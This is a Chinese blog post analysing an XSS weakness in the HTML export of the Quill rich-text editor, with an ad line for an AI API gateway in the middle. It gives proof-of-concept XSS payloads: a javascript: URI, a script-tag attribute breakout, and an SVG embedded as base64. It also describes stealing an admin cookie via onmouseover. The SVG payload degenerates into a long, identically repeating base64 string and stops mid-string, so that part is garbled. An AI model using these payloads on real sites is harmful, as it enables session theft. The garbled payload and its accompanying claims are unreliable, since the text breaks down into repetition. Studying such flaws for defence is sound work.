1. Quill富文本编辑器HTML导出功能XSS漏洞背景解析
Quill作为一款流行的开源富文本编辑器,被广泛应用于各类Web应用中处理用户输入内容。其核心卖点是轻量级、模块化设计和跨平台兼容性,但正是这种灵活性带来了潜在的安全风险。我在实际项目集成过程中发现,Quill默认的HTML导出机制存在一个典型但容易被忽视的XSS(跨站脚本)漏洞场景。
这个漏洞的特殊性在于:它并非发生在常规的内容输入阶段(大多数开发者会在此处实施XSS过滤),而是潜伏在内容导出为HTML的环节。当开发者调用getHTML()方法或类似接口将Delta格式的内容转换为HTML字符串时,Quill默认不会对某些特定格式的标签属性进行充分转义。我曾在一个企业级CMS系统中亲历因此漏洞导致的管理后台Cookie泄露事件——攻击者通过精心构造的表格单元格onmouseover属性注入了恶意脚本。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 漏洞触发条件与原理深度拆解
2.1 漏洞触发的最小复现案例
通过以下代码可以100%复现该漏洞:
javascript复制const quill = new Quill('#editor', { theme: 'snow' });
quill.setContents([
{ insert: '正常文本' },
{
insert: '恶意内容',
attributes: {
background: 'javascript:alert(1)',
customattr: '"><script>alert(2)</script>'
}
}
]);
console.log(quill.root.innerHTML); // 查看原始DOM
const dangerousHTML = quill.getHTML(); // 触发漏洞的导出操作
这个案例揭示了两个关键攻击向量:
- 通过CSS属性(如background)注入JavaScript伪协议
- 通过自定义属性突破HTML属性值边界注入完整脚本标签
2.2 Delta格式到HTML的转换缺陷
Quill内部使用Delta格式表示文档结构,其转换为HTML的过程存在三类危险操作:
-
属性值未转义:当Delta中的attributes对象包含HTML特殊字符(如< > " ')时,这些字符会直接拼接到生成的HTML字符串中,而非转换为实体编码。我在审计1.3.7版本源码时发现,其html.ts中的formatAttribute()函数仅做了简单的字符串拼接。
-
危险协议未过滤:对href/src等属性值的"javascript:"、"data:"等危险协议缺乏检测机制。这与现代浏览器越来越严格的内容安全策略形成鲜明对比。
-
自定义属性白名单缺失:虽然Quill内置了允许的属性列表(如bold、italic等格式属性),但对用户自定义属性没有实施任何命名限制或值过滤。攻击者可利用on*系列事件属性(如onload、onerror)直接注入脚本。
3. 漏洞利用的进阶攻击手法分析
3.1 基于SVG的XSS绕过技术
在实际渗透测试中,我们发现攻击者常结合SVG实现更隐蔽的攻击。例如:
javascript复制quill.insertEmbed(10, 'image', {
src: 'data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+PGEgeGxpbms6aHJlZj0iZGF0YTp0ZXh0L2h0bWw7Y2hhcnNldD11dGYtODtiYXNlNjQsUEhOMlp5QjRiV3h1Y3owaWFIUjBjRG92TDNkM2R5NTNNeTV2Y21jdk1qQXdNQzl6ZG1jaUlIZHBaSFJvUFNJeE1EQXdNREF3SWlCM2FXUjBhRDBpTkRBd0lERXdNREF3SWo0S0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sdWRDNWpiMjBpTEEwS0lDQWdJRHh3WVhSb0lHUTlJbTB4TURBd01EQWdNVGt4TWlJZ1kyeGhjM005SW1OdmJIVnRibDl3Y21sd
